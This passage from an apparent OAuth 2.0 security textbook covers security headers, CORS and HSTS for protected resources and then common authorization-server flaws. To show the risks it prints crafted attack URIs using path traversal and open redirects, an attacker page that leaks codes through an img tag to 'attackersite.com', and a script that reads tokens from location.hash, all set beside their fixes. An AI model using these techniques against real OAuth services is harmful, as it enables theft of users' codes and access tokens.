			   resource.greeting ='Hola mundo';

		  } else {

			�   resource.greeting = "Error, invalid language: "+ querystring.

escape(req.query.language);

		  }		

		  }

		  res.json(resource);

	 }

});

This is definitely an improvement, but there is still something more we can do to 
dial the security up to eleven. One other useful response header supported by all the 
browsers, with the exception of Mozilla Firefox, is X-Content-Type-Options: nosniff. 
This security header was introduced by Internet Explorer6 to prevent browsers from 
MIME-sniffing a response away from the declared Content-Type (just in case). Another 
security header is X-XSS-Protection, which automatically enables the XSS filter built 
into most recent web browsers (again with the exception of Mozilla Firefox). Let’s see 
how we can integrate these headers in our endpoint.

app.get("/helloWorld", getAccessToken, function(req, res){

	 if (req.access_token) {

		  res.setHeader('X-Content-Type-Options', 'nosniff');
		  res.setHeader('X-XSS-Protection', '1; mode=block');

		  var resource = {

			   "greeting" : ""

		  };

6  https://blogs.msdn.microsoft.com/ie/2008/09/02/ie8-security-part-vi-beta-2-update
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		  if (req.query.language == "en") {

			   resource.greeting = 'Hello World';

		  } else if (req.query.language == "de") {

			   resource.greeting ='Hallo Welt';

		  } else if (req.query.language == "it") {

			   resource.greeting = 'Ciao Mondo';

		  } else if (req.query.language == "fr") {

			   resource.greeting = 'Bonjour monde';

		  } else if (req.query.language == "es") {

			   resource.greeting ='Hola mundo';

		  } else {

			�   resource.greeting = "Error, invalid language: "+ querystring.

escape(req.query.language);

		  }

		  res.json(resource);

	 }

});

Our response will look like this:

HTTP/1.1 200 OK

X-Powered-By: Express

X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Content-Type: application/json; charset=utf-8

Content-Length: 102

Date: Wed, 27 Jan 2016 17:07:50 GMT

Connection: keep-alive

{
    �"greeting": "Error, invalid language:  

%3Cscript%3Ealert(%E2%80%98XSS%E2%80%99)%3C%2Fscript%3E"

}

Some room for improvement exists here and it’s called the Content Security Policy 
(CSP).7 This is yet another response header (Content-Security-Policy) that, quoting 
the specification, “helps you reduce XSS risks on modern browsers by declaring what 
dynamic resources are allowed to load via a HTTP Header.” This topic deserves a chap-
ter of its own and isn’t the main focus of this book; including the proper CSP header 
field is left as an exercise for the reader. 

A resource server can do one final thing to eliminate any chance that a particu-
lar endpoint is susceptible to XSS:  choose not to support the access_token being 
passed as a request parameter.8 Doing so would make an XSS on the endpoint 
theoretically possible but not exploitable because there is no way an attacker can 
forge a URI that also contains the access token (now expected to be sent in the 
Authorization: Bearer header). This might sound too restrictive, and there 
might be valid cases in which using this request parameter is the only possible 

7 � http://content-security-policy.com/
8 � RFC 6750 https://tools.ietf.org/html/rfc6750#section-2.3
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solution in a particular situation. However, all such cases should be treated as 
exceptions and approached with proper caution.

8.2.2	 Adding implicit grant support

Let’s implement a resource endpoint that is also ready to serve an OAuth client sup-
porting the “Implicit Grant” flow described in detail in chapter 6. All the security con-
cerns discussed in the previous section stand, but we need to take care of some extra 
factors. Open up the ch-8-ex-2 folder and execute the three Node.js files.

Now open your browser http://127.0.0.1:9000 and go ahead with the usual 
“OAuth dance”. However, when you try to get the resource, you’ll encounter an issue 
(see figure 8.8).

If you open the browser’s JavaScript console (or an equivalent debugging tool), 
you’ll see an error displayed:

Cross-Origin Request Blocked: The Same Origin Policy disallows reading the remote 
resource at http://localhost:9002/helloWorld. (Reason: CORS header ‘Access-Control-
Allow-Origin’ missing).

What, then, is that all about? The browser is trying to tell us that we’re attempting to 
do something illegal: we’re trying to use JavaScript to call a URL with a different ori-
gin, hence violating the same origin policy9 that browsers enforce. In particular, from the 
implicit client running on http://127.0.0.1:9000, we’re trying to implement an 
AJAX request to http://127.0.0.1:9002. In essence, the same origin policy states 
that “browser windows can work in contexts of each other only if they are from served 
from the same base URL, consisting of protocol://domain:port.” We’re clearly 

9  https://en.wikipedia.org/wiki/Same-origin_policy

Figure 8.8  Same Origin Policy issue
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violating it in this case because the ports don’t match: 9000 versus 9002. On the web, 
it’s more common that a client application be served from one domain, whereas a 
protected resource be served from another domain, as in our photo-printing example.

The same origin policy is set up to keep JavaScript inside one page from loading mali-
cious content from another domain. But in this case, it’s fine to allowing a JavaScript 
call to our API, especially since we’re protecting that API with OAuth to begin with. To 
solve this, we get a solution straight from the W3C specification:10 cross-origin resource 
sharing (CORS). Adding CORS support in Node.js is extremely simple, and it’s becom-
ing commonly available in many languages and platforms. Open up and edit the  
protectedResource.js file in the ch-8-ex-2 folder and require the CORS library:

   var cors = require('cors');

Then add that function as a filter ahead of the other functions. Note that we also 
add support for the HTTP OPTIONS verb here, which lets our JavaScript client fetch 
important headers, including the CORS headers, without doing a full request. 

app.options('/helloWorld', cors());
app.get("/helloWorld", cors(), getAccessToken, function(req, res){
	 if (req.access_token) {		

The rest of the processing code doesn’t need to change at all. Now when we try to do 
the full round-trip, we will achieve the desired result (see figure 8.9).

To understand why everything went through smoothly this time, let’s look at the 
HTTP call that our client made to the protected resource. Using the curl again allows 
us to see all the headers. 

> curl -v -H "Authorization: Bearer TOKEN"  
http://localhost:9002/helloWorld?language=en

now gives

HTTP/1.1 200 OK

X-Powered-By: Express

10  https://www.w3.org/TR/cors/

Same origin policy in Internet Explorer

The error in exercise 8.1 doesn’t show up in Internet Explorer. The reason behind it is 
described in https://developer.mozilla.org/en-US/docs/Web/Security/
Same-origin_policy#IE_Exceptions. In a nutshell, Internet Explorer doesn’t 
include port into Same Origin components; therefore, http://localhost:9000 
and http://localhost:9002 are considered to be from the same origin and no 
restrictions are applied. This is different from all other major browsers and, in the 
opinion of the authors, fairly daft.
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Access-Control-Allow-Origin: *
X-Content-Type-Options: nosniff

X-XSS-Protection: 1; mode=block

Content-Type: application/json; charset=utf-8

Content-Length: 33

Date: Fri, 29 Jan 2016 17:42:01 GMT

Connection: keep-alive

{

    "greeting": "Hello World"

}

This new header tells our browser, which is hosting the JavaScript application, that 
it’s OK to allow any origin to call this endpoint. This provides a controlled excep-
tion to the same origin policy. It makes sense to apply this on APIs such as protected 
resources, but to keep it off (the default in most systems) for user-interactive pages 
and forms. 

CORS is a relatively new solution and was not always available in browsers. In the 
past, the preferred option was to use JSON with Padding11 (known as JSONP). JSONP 
is a technique used by web developers to overcome the cross-domain restrictions 
imposed by browsers to allow data to be retrieved from systems other than the one 
the page was served by, but it’s merely a trick. Effectively, JSON data is presented as a 
JavaScript script to be loaded and executed in the target environment, usually by use of 
a specified callback function. Because the data call is presented as a script and not an 

11  https://en.wikipedia.org/wiki/JSONP

Figure 8.9  Protected resource with CORS enabled
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AJAX call, the browser bypasses its same origin policy checks. Over the years, usage of 
JSONP has been abandoned in favor of CORS due to vulnerabilities that used JSONP 
as a vector (Rosetta Flash in primis12). For this reason, we aren’t going to include an 
example with the protected resource endpoint supporting JSONP.

8.3	 Token replays
In the previous chapter, we saw how it’s possible to steal an access token. Even if the 
protected resource runs over HTTPS, once the attacker gets their hands on the access 
token they will be able to access the protected resource. For this reason, it’s important 
to have an access token that has a relatively short lifetime to minimize the risk of token 
replay. Indeed, even if an attacker manages to get hold of a victim access token, if it has 
already expired (or is close to being expired) the severity of the attack decreases. We 
cover protecting tokens in depth in chapter 10. 

One of the main differences of OAuth 2.0 and its predecessor is the fact that the 
core framework is free of cryptography. Instead, it relies completely on the presence 
of Transport Layer Security (TLS) across the various connections. For this reason, it’s 
considered best practice to enforce the usage of TLS as much as possible throughout 
an OAuth ecosystem. Again, another standard comes to the rescue: HTTP Strict Trans-
port Security (HSTS)13 defined in RFC6797.14 HSTS allows web servers to declare that 
browsers (or other complying user agents) should interact with it only using secure 
HTTPS connections, never via the insecure HTTP protocol. Integrating HSTS in our 
endpoint is straightforward and, like CORS, requires adding a couple of extra headers. 
Open up and edit the protectedResource.js file in the ch-8-ex-3 folder to add the 
appropriate header.

app.get("/helloWorld", cors(), getAccessToken, function(req, res){

	 if (req.access_token) {

		  res.setHeader('X-Content-Type-Options','nosniff');

		  res.setHeader('X-XSS-Protection', '1; mode=block');

12  https://miki.it/blog/2014/7/8/abusing-jsonp-with-rosetta-flash/
13  https://en.wikipedia.org/wiki/HTTP_Strict_Transport_Security
14  RFC 6797 https://tools.ietf.org/html/rfc6797

The Rosetta Flash exploit

Rosetta Flash is an exploitation technique discovered and published by Google secu-
rity engineer Michele Spagnuolo in 2014. It allows an attacker to exploit servers 
with a vulnerable JSONP endpoint by causing Adobe Flash Player to believe that an 
attacker-specified Flash applet originated on the vulnerable server. To hinder this 
attack vector in most modern browsers, it’s possible to return the HTTP header 
X-Content-Type-Options: nosniff and/or prepend the reflected callback with /**/.
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		�  res.setHeader('Strict-Transport-Security', 'max-age=31536000');

		  var resource = {

			   "greeting" : ""

		  };

		  if (req.query.language == "en") {

			   resource.greeting = 'Hello World';

		  } else if (req.query.language == "de") {

			   resource.greeting ='Hallo Welt';

		  } else if (req.query.language == "it") {

			   resource.greeting = 'Ciao Mondo';

		  } else if (req.query.language == "fr") {

			   resource.greeting = 'Bonjour monde';

		  } else if (req.query.language == "es") {

			   resource.greeting ='Hola mundo';

		  } else {

			�   resource.greeting = "Error, invalid language: "+ querystring.

escape(req.query.language);

		  }

		  res.json(resource);

	 }

});

and now when you try to hit the /helloWorld endpoint from an HTTP client:

> curl -v -H "Authorization: Bearer TOKEN"  
http://localhost:9002/helloWorld?language=en

you can notice the HSTS response header

HTTP/1.1 200 OK

X-Powered-By: Express

Access-Control-Allow-Origin: *

X-Content-Type-Options: nosniff

X-XSS-Protection: 1; mode=block

Strict-Transport-Security: max-age=31536000
Content-Type: application/json; charset=utf-8

Content-Length: 33

Date: Fri, 29 Jan 2016 20:13:06 GMT

Connection: keep-alive

{

    "greeting": "Hello World"

}

At this point, every time you try to hit the endpoint with the browser using HTTP (not 
over TLS), you would notice an internal 307 redirect made from the browser. This 
will avoid any unexpected unencrypted communication (like protocol downgrade 
attacks). Our test environment doesn’t use TLS at all, so this header effectively makes 
our resource completely inaccessible. Although this is, of course, very secure, it’s not 
particularly useful as a resource. A production system with a real API will need to bal-
ance both security and accessibility.

Licensed to Hans Otten <hans.otten@autodata.net>

http://localhost:9002/helloWorld?language=en


	 Summary 	 153

8.4	 Summary 
We end with some takeaways to ensure a secure protected resource.

■■ Sanitize all untrusted data in the protected resource response.
■■ Choose the appropriate Content-Type for the specific endpoint.
■■ Leverage browser protection and the security headers as much as you can.
■■ Use CORS if your protected resource’s endpoint needs to support the implicit 

grant flow.
■■ Avoid having your protected resource support JSONP (if you can).
■■ Always use TLS in combination with HSTS.

Now that we’ve secured the client and the protected resource, let’s take a look at what 
it takes to secure the most complex component of the OAuth ecosystem: the authoriza-
tion server.
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9	Common authorization  
server vulnerabilities

This chapter covers
■  ■ Avoiding common implementation vulnerabilities in 

the authorization server

■  ■ Protecting against known attacks directed at the 
authorization server

In the last few chapters, we’ve looked at how OAuth clients and protected resources 
can be vulnerable to attackers. In this chapter, we’re going to focus on the autho-
rization server with the same eye towards security. We’ll see that this is definitely 
more complicated to achieve because of the nature of the authorization server. 
Indeed, the authorization server is probably the most complex component in the 
OAuth ecosystem, as we saw while building one in chapter 5. We’ll outline in detail 
many of the threats you can encounter while implementing an authorization server 
and what you need to do in order to avoid security pitfalls and common mistakes.

9.1	 General security
Since the authorization server consists of both a user-facing website (for the front 
channel) and a machine-facing API (for the back channel), all general advice for 
deploying secure web servers applies here as well. This includes having secured 
server logs, using Transport Layer Security (TLS) with valid certificates, a secure OS 
hosting environment with proper account access controls, and many other things. 
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This wide series of topics could easily encompass a whole series of books, so we’ll refer 
you to the wide variety of literature already available and caution, “The web is a danger-
ous place; heed this advice well, and proceed with caution.” 

9.2	 Session hijacking
We’ve already talked extensively about the authorization code grant flow. To obtain an 
access token in this flow, the client needs to take an intermediate step involving the 
authorization server producing an authorization code delivered in the URI request 
parameter through an HTTP 302 redirect. This redirect causes the browser to make a 
request to the client, including the authorization code (shown in bold here).

GET /callback?code=SyWhvRM2&state=Lwt50DDQKUB8U7jtfLQCVGDL9cnmwHH1 HTTP/1.1
Host: localhost:9000

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:39.0) 

Gecko/20100101 Firefox/39.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Referer:  

http://localhost:9001/authorize?response_type=code&scope=foo&client_id=oauth-

client-1&redirect_uri=http%3A%2F%2Flocalhost%3A9000%2Fcallback&state=Lwt50DDQ 

KUB8U7jtfLQCVGDL9cnmwHH1

Connection: keep-alive

The value of the authorization code is a one-time-use credential and it represents the 
result of the resource owner’s authorization decision. We want to highlight that for 
confidential clients the authorization code leaves the server and passes through the 
user agent, hence it will persist in the browser history (figure 9.1).

Let’s consider the following scenario. Imagine there is a web server, let’s call it Site 
A, that consumes some REST APIs as an OAuth client. A resource owner accesses 
Site A in a library or some other location with a shared computer. Site A uses the 
authorization code grant (see chapter 2 for details) to get its OAuth tokens. This will 
imply that a login to the authorization server is required. As a result of using the site, 
the authorization code will remain in the browser history (as seen in figure 9.1). When 
the resource owner finishes, they will almost certainly log out of Site A, and might even 
log out of the authorization server, but they won’t likely clean their browser history. 

At this stage, an attacker that also uses Site A will get on the computer. The attacker 
will log in with their own credentials but will tamper with the redirect to Site A and 
inject the authorization code from the previous resource owner’s session stored in the 
browser history. What will happen is that, despite the fact the attacker is logged in with 
their own credentials, they will have access to the resource of the original resource 
owner. This scenario can be better understood with the help of figure 9.2.

Figure 9.1  Authorization code in the browser history
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Figure 9.2  Authorization code grant flow forged
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It turns out that the OAuth core specification1 gives us a solution to this problem in 
section 4.1.3:

The client MUST NOT use the authorization code more than once. If an authorization code 
is used more than once, the authorization server MUST deny the request and SHOULD 
revoke (when possible) all tokens previously issued based on that authorization code.

It is up to the implementer to follow and implement the specification correctly. In 
chapter 5, the authorizationServer.js that you built does follow this advice.

if (req.body.grant_type == ‘authorization_code’) {

	 var code = codes[req.body.code];

	 if (code) {

		  delete codes[req.body.code];

In this way, the code in the browser is precluded from being accepted twice by the 
authorization server, making this attack no longer feasible.2

Redirecting: 302 or 307?

In January 2016, a security advisory was posted to the OAuth working group mailing 
list describing an attack that leverages browser behavior on an HTTP 307 redirect. 
This attack was discovered by researchers from the University of Trier3 and is based 
on the fact that the OAuth standard permits any HTTP redirect code for front-channel 
communications, leaving to the implementer the choice of which method to use. As 
it turns out, not all redirect methods are treated equally by browsers, and the posted 
advisory shows how the usage of a 307 redirect is harmful in OAuth and allows the 
leakage of the user credentials.

Another protection for the authorization code grant type is to bind the authorization 
code to the client_id, particularly for authenticated clients. In our code base, this is 
done in the next line:3

if (code.authorizationEndpointRequest.client_id == clientId) {

This is needed in order to cover one of the other bullets in section 4.1.3 of RFC 6749:

ensure that the authorization code was issued to the authenticated confidential client, or if 
the client is public, ensure that the code was issued to “client_id” in the request, 

Without these checks, any client could obtain an access token using an authorization 
code issued for another client. This can have unfortunate consequences. 

9.3	 Redirect URI manipulation
In chapter 7, we saw how important it is for an OAuth client to pay particular attention 
to the registered redirect_uri—expressly, that it should be as specific as possible. 

1 � RFC 6749
2 � http://intothesymmetry.blogspot.ch/2014/02/oauth-2-attacks-and-bug-bounties.html
3 � http://arxiv.org/pdf/1601.01229v2.pdf
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The presented attacks made some assumptions concerning the validation algorithm 
used by authentication servers. The OAuth specification leaves the method of validat-
ing the redirect_uri entirely up to the authorization server, only saying that the val-
ues must match. Authorization servers validate the requested redirect_uri against a 
registered redirect_uri in three common ways: exact matching, allowing subdirectory, 
and allowing subdomain. Let’s see how they each work in turn. 

The exact matching validation algorithm does exactly what its name suggests: it takes the 
received redirect_uri parameter and compares it with the one contained in the record 
for that client using simple string comparison. If it doesn’t match an error is displayed. 
This is how we implemented this routine in our authorization server in chapter 5.

if (req.query.redirect_uri != client.redirect_uri) {
	 console.log(‘Mismatched redirect URI, expected %s got %s’,  

client.redirect_uri, req.query.redirect_uri);

	 res.render(‘error’, {error: ‘Invalid redirect URI’});

	 return;

}

As you can see from the code, the received redirect_uri must exactly match the 
same one registered in order for the program to continue. 

We’ve already seen the allowing subdirectory validation algorithm in chapter 7.  
This algorithm validates only the start of the URI and considers the requested 
redirect_uri valid if everything else is appended after the registered redirect_uri.  
As we’ve seen, the redirect URL’s host and port must exactly match the registered callback 
URL. The redirect_uri’s path can reference a subdirectory of the registered callback URL.

The allowing subdomain validation algorithm instead offers some flexibility in the 
host part of the redirect_uri. It will consider the redirect_uri valid if a subdomain 
of the registered redirect_uri is provided. 

Another option is to have a validation algorithm that combines allowing subdomain 
matching and allowing subdirectory matching. This gives flexibility in both the domain 
and request path. 

Sometimes these matches are constrained by wildcards or other syntactical 
expression languages, but the effect is the same: several different requests can match 
against a single registered value. Let’s summarize the different approaches: our 
registered redirect URI is https://example.com/path, and table 9.1 shows the 
matching behavior for several different approaches.

Now let’s be perfectly clear: the only consistently safe validation method for the 
redirect_uri is exact matching. Although other methods offer client developers desir-
able flexibility in managing their application’s deployment, they are exploitable.

Let’s take a look at what can happen if a different validation algorithm is used. We 
have several examples of this vulnerability used in the wild4 and here we’re looking at 
the basic functionality of the exploit.

4 � https://nealpoole.com/blog/2011/08/lessons-from-facebooks-security-bug-bounty-program/and   
http://intothesymmetry.blogspot.it/2014/04/oauth-2-how-i-have-hacked-facebook.html
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Let’s assume there is a company, www.thecloudcompany.biz, that offers the possi-
bility to register your own OAuth client via self-service registration. This is a common 
approach to client management. The authorization server uses the allowing subdirectory 
validation algorithm for the redirect_uri. Now let’s see what happens if an OAuth 
client registers

https://theoauthclient.com/oauth/oauthprovider/callback

as its redirect_uri.
The request originated by the OAuth client is something like the following:

https://www.thecloudcompany.biz/authorize?response_type=code&client_id=CLIENT_ 

ID&scope=SCOPES&state=STATE&redirect_uri=https://theoauthclient.com/oauth/oauth 
provider/callback

The requirement for the attack to succeed is that the attacker needs to be able to cre-
ate a page on the target OAuth client site such as

https://theoauthclient.com/usergeneratedcontent/attackerpage.html

This URI isn’t underneath the registered URI, so we’re good, right? The attacker must 
only craft an URI like the following: 

https://www.thecloudcompany.biz/authorize?response_type=code&client_id=CLIENT_ 

ID&scope=SCOPES&state=STATE&redirect_uri=https://theoauthclient.com/oauth/oauth 
provider/callback/../../usergeneratedcontent/attackerpage.html 

and have the victim click on it. The part to look carefully at is the relative directory 
navigation hidden inside the redirect_uri value:

redirect_uri=https://theoauthclient.com/oauth/oauthprovider/callback/../../

usergeneratedcontent/attackerpage.html

According to our previous discussion, this provided redirect_uri is perfectly 
valid if matched using the allowing subdirectory validation algorithm. This crafted 

Table 9.1  Comparison of redirect URI matching algorithms

redirect_uri
Exact 
Match

Allow 
Subdirectory

Allow 
Subdomain

Allow 
Subdirectory  

and Subdomain

https://example.com/path Y Y Y Y

https://example.com/path/subdir/other N Y N Y

https://other.example.com/path N N Y Y

https://example.com:8080/path N N N N

https://example.org/path N N N N

https://example.com/bar N N N N

http://example.com/path N N N N
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redirect_uri uses path traversal5 to climb up to the root of the site and descend to 
the attacker’s user-generated page. This is dangerous if the authorization server uses 
Trust On First Use (TOFU) (as discussed in chapter 1), preventing the display of an 
authorization page to the victim (figure 9.3).

To finalize the attack, we can see how the attacker page would look. In this case, we 
can use both kinds of attacks seen in chapter 7, using the referrer or the URI fragment, 
depending on whether we’re targeting the authorization code or the implicit grant.

Let’s take a look at the authorization code grant attack using the HTTP referrer. 
The attacker page would be served through an HTTP 302 redirect, which causes the 
browser to make the following request to the client site:

GET  

/oauth/oauthprovider/callback/../../usergeneratedcontent/attackerpage.html? 
code=SyWhvRM2&state=Lwt50DDQKUB8U7jtfLQCVGDL9cnmwHH1 HTTP/1.1

Host: theoauthclient.com

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:39.0) 

Gecko/20100101 Firefox/39.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Connection: keep-alive

The contents of attackerpage.html looks like this:

<html> 

	 <h1>Authorization in progress </h1>

	 <img src=”https://attackersite.com/”>
</html>

The authorization code is then stolen via the Referer header when the browser 
fetches the img tag embedded in the attacker’s page. See chapter 7 for more details 
on this attack.

5 � https://www.owasp.org/index.php/Path_Traversal

Resource
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Authorization
Server
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Authorization server 
redirects to a page
controlled by the

Attacker with the
authorization code

 

Figure 9.3  Attacker steals the authorization code.
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For the implicit grant attack on the hash, the attackerpage.html gets the access 
token delivered directly. When the authorization server sends the HTTP 302 redirect, 
the resource owner’s browser makes the following request to the client:

GET  

/oauth/oauthprovider/callback/../../usergeneratedcontent/attackerpage.html# 
access_token=2YotnFZFEjr1zCsicMWpAA&state=Lwt50DDQKUB8U7jtfLQCVGDL9cnmwHH1 
HTTP/1.1

Host: theoauthclient.com

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:39.0) 

Gecko/20100101 Firefox/39.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Connection: keep-alive

and it can be hijacked through the URI fragment. For instance, this simple JavaScript 
code will fetch the token from the hash, and it can be used or transported from there. 
(For other methods, see chapter 7.)

<html>

	 <script> 

		  var access_token = location.hash;
	 </script>

</html>

The same attack would work for authorization servers that use the allowing 
subdomain   validation algorithm for the redirect_uri and OAuth clients that 
allow the creation of an attacker’s controlled page under the redirect_uri 
domain. In this case, the registered redirect_uri would be something like 
https://theoauthclient.com/ and the attacker’s controlled page would run 
under https://attacker.theoauthclient.com. The attacker’s crafted URI 
would then be

https://www.thecloudcompany.biz/authorize?response_type=code&client_id=CLIENT_ID& 

scope=SCOPES&state=STATE&redirect_uri=https://attacker.theoauthclient.com

The page in https://attacker.theoauthclient.com is similar to attackerpage.html. 
One point to highlight here is that the OAuth client has no fault in this case. The 

OAuth clients we’ve seen followed the rule to register a redirect_uri as specific as 
it could be; nevertheless, owing to an authorization server weakness, the attacker was 
able to hijack an authorization code—or worse, an access token. 

Covert Redirect

Covert Redirect is a name given to an open redirector attack by security researcher 
Wang Jing in 2014.6 It describes a process whereby a malicious attacker intercepts 
a request from an OAuth client to an OAuth 2.0 authorization server and alters a 
query parameter in the request called redirect_uri with the intention of caus-
ing the OAuth authorization server to direct the resulting OAuth response to a 

6 � http://oauth.net/advisories/2014-1-covert-redirect/

(continued)
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malicious location rather than to the originally requesting client, thus exposing any 
returned secrets to the attacker. The official OAuth 2.0 Threat Model (RFC 6819) 
details this threat, and section 5.2.3.5 of the RFC documents the recommended 
mitigations:

An authorization server should require all clients to register their “redirect_uri”, 
and the “redirect_uri” should be the full URI as defined in [RFC6749].

9.4	 Client impersonation
In chapter 7 and in the previous section of this chapter, we’ve seen several tech-
niques to hijack authorization codes. We’ve also seen that without the knowledge 
of the client_secret, an attacker can’t achieve too much because the secret is 
needed in order to trade the authorization code for an access token. This continues 
to hold true only if the authorization server follows section 4.1.3 of the OAuth core 
specification, in particular:

ensure that the “redirect_uri” parameter is present if the “redirect_uri” parameter was 
included in the initial authorization request as described in Section 4.1.1, and if included 
ensure that their values are identical.

Let’s assume an authorization server doesn’t implement this part of the specification 
and see what can go wrong. If you’ve been following along with building the authoriza-
tion server in chapter 5 you may notice that we’ve intentionally left this out from the 
basic implementation in order to cover it now.

As we’ve said, all the attacker has in their hands is an authorization code. They 
don’t have any knowledge of the client_secret for the client that the authorization 
code is bound to, so theoretically they can’t achieve anything. If the authorization 
server doesn’t implement this check, this still represents a problem. But before we dig 
into this, let’s review how the attacker was able to steal the authorization code in the 
first place. All the techniques we’ve seen used to steal the authorization code (both in 
this chapter and in chapter 7) were related to some sort of redirect_uri manipula-
tion. This was achieved because of the OAuth client’s poor choice of the registered 
redirect_uri or too loose of an authorization server redirect_uri validation algo-
rithm. In both cases, the registered redirect_uri didn’t exactly match the one pro-
vided in the OAuth request. Nevertheless, the attacker hijacked the authorization 
code though a maliciously crafted URI. 

Now what an attacker can do is to present this hijacked authorization code to the 
OAuth callback of the victim’s OAuth client. At this point, the client will proceed and 
try to trade the authorization code for an access token, presenting valid client creden-
tials to the authorization server. The authorization code is bound to the correct OAuth 
client (see figure 9.4).

The result is that the attacker is able to successfully consume the hijacked authoriza-
tion code and steal the protected resource of a target victim.
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Figure 9.4  Hijacked authorization code (vulnerable authorization server)
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Let’s see how we can fix this in our code base. Open up ch-9-ex-1 and edit the 
authorizationServer.js file. We won’t be editing the other files in this exercise. In 
the file, locate the authorization server’s token endpoint and specifically the part that 
processes authorization grant request, then add the following snippet of code: 

if (code.request.redirect_uri) {

	 if (code.request.redirect_uri != req.body.redirect_uri) {

		  res.status(400).json({error: ‘invalid_grant’});

		  return;

	 }

}

When the OAuth client presents the hijacked authorization code to the authorization 
server, the authorization server will now ensure that the redirect_uri presented in 
the initial authorization request will match the one presented in the token request. 
Since the client isn’t expecting to send anyone to the attacker’s site, these values will 
never match and the attack fails. Having this simple check in place is extremely impor-
tant and can negate many common attacks on the authorization code grant. Without 
this added check, there are several risks known to have been exploited in the wild.7

9.5	 Open redirector
We already met the open redirector vulnerability in chapter 7 and we’ve seen how an 
open redirector can be used to steal access tokens from OAuth clients. In this section, we 
will see how implementing the OAuth core specification verbatim might lead to having 
the authorization server acting as an open redirector.8 Now it’s important to outline that 
if this is a deliberate choice, it’s not necessarily bad; an open redirector on its own isn’t 
guaranteed to cause problems, even though it’s considered bad design. On the other 
hand, if this hasn’t been taken into account during the design of the authorization server 
architecture under some particular conditions that we’re going to see in this section, 
having a freely available open redirector gives the attacker some room for an exploit.

In order to understand the issue we need to take a closer look at section 4.1.2.1 of 
the OAuth specification:9

If the request fails due to a missing, invalid, or mismatching redirection URI, or if the cli-
ent identifier is missing or invalid, the authorization server SHOULD inform the resource 
owner of the error and MUST NOT automatically redirect the user-agent to the invalid 
redirection URI.

If the resource owner denies the access request or if the request fails for reasons other than a 
missing or invalid redirection URI, the authorization server informs the client by adding 
the following parameters to the query component of the redirection URI . . .

7 � http://homakov.blogspot.ch/2014/02/how-i-hacked-github-again.html
8 � http://intothesymmetry.blogspot.it/2015/04/open-redirect-in-rfc6749-aka-oauth-20.html
9 � https://tools.ietf.org/html/rfc6749#section-4.1.2.1
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For this discussion, the part we’re particularly interested is italicized. This states that if 
an authorization server receives an invalid request parameter, such as an invalid scope, 
the resource owner is redirected to the client’s registered redirect_uri.

We can see this behavior implemented in chapter 5:

if (__.difference(rscope, cscope).length > 0) {

	 var urlParsed = buildUrl(query.redirect_uri, {

		  error: ‘invalid_scope’

	 });

	 res.redirect(urlParsed);

	 return;

}

If you want to try this out, open up ch-9-ex-2 and run the authorization server. Then 
open your favorite browser and go to

http://localhost:9001/authorize?client_id=oauth-client-1&redirect_uri=http://

localhost:9000/callback&scope=WRONG_SCOPE

What you see is your browser being redirected to

http://localhost:9000/callback?error=invalid_scope

The issue is also that the authorization server may be allowing client registrations with 
an arbitrary redirect_uri. Now you might argue that this is ONLY an open redirect 
and there isn’t much you can do with it, right? Not really. Let’s assume that an attacker 
does the following: 

■■ Registers a new client to the https://victim.com authorization server. 
■■ Registers a redirect_uri such as https://attacker.com.

Then the attacker can craft a special URI of the form

https://victim.com/authorize?response_type=code&client_id=bc88FitX1298KPj2WS259 

BBMa9_KCfL3&scope=WRONG_SCOPE&redirect_uri=https://attacker.com

This should redirect back to https://attacker.com (without any user interaction, 
ever), meeting the definition of an open redirector.10 What then? For many attacks, 
access to an open redirector is only one small part of the attack chain, but it’s an essen-
tial one. And what could be better, from the attacker’s perspective, than if a trusted 
OAuth provider gives you one out of the box? 

If this isn’t enough to convince you that an open redirector is bad enough, be aware 
that this same issue has been used in the wild as part of an attack to steal access tokens.11 
It’s interesting to see what can be achieved combining the open redirector described 
in this section with the URI manipulation described previously. If the authorization 
server is pattern matching the redirect_uri (as seen previously, such as allowing sub-
directory) and has an uncompromised public client that shares the same domain as 
the authorization server, the attacker can use a redirect error redirection to intercept 

10 � https://www.owasp.org/index.php/Top_10_2013-A10-Unvalidated_Redirects_and_Forwards
11 � http://andrisatteka.blogspot.ch/2014/09/how-microsoft-is-giving-your-data-to.html
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redirect-based protocol messages via the Referer header and URI fragment. In this 
scenario the attacker does the following:

■■ Registers a new client to the https://victim.com authorization server. 
■■ Registers a redirect_uri such as https://attacker.com.
■■ Creates an invalid authentication request URI for the malicious client. 

As an example he can use a wrong or nonexistent scope (as seen previ-
ously): https://victim.com/authorize?response_type=code&client_

id=bc88FitX1298KPj2WS259BBMa9_KCfL3&scope=WRONG_SCOPE&redirect_

uri=https://attacker.com

■■ Crafts a malicious URI targeting the good client that uses the redirect URI 
to send a request to the malicious client, using the URI in the previous step:

	 https://victim.com/authorize?response_type=token&client_id=good-

client&scope=VALID_SCOPE&redirect_uri=https%3A%2F%2Fvictim.

com%2Fauthorize%3Fresponse_type%3Dcode%26client_id%3Dattacker- 

client-id%26scope%3DWRONG_SCOPE%26redirect_uri%3Dhttps%3A%2F%2 

Fattacker.com

■■ If the victim has already used the OAuth client (good-client) and if the autho-
rization server supports TOFU (not prompting the user again), the attacker 
will receive the response redirected to https://attacker.com: the legitimate 
OAuth Authorization response will include an access token in the URI frag-
ment. Most web browsers will append the fragment to the URI sent in the loca-
tion header of a 30x response if no fragment is included in the location URI.  

If the authorization request is code instead of a token, the same technique is used, 
but the code is leaked by the browser in the Referer header rather than the frag-
ment. A draft for an OAuth security addendum that should provide better advice to 
implementers was recently proposed.12 One of the mitigations included in the draft is 
to respond with an HTTP 400 (Bad Request) status code rather than to redirect back 
to the registered redirect_uri. As an exercise, we can try to implement this. Open 
up ch-9-ex-2 and edit authorizationServer.js. All we need to do is to replace the 
section of previous code highlighted with:

if (__.difference(rscope, client.scope).length > 0) {

	 res.status(400).render(‘error’, {error: ‘invalid_scope’});
	 return;

}

Now we’ll repeat the exercise at the beginning of this section: run the authorization 
server, open your favorite browser, and go to

http://localhost:9001/authorize?client_id=oauth-client-1&redirect_uri=http://

localhost:9000/callback&scope=WRONG_SCOPE  

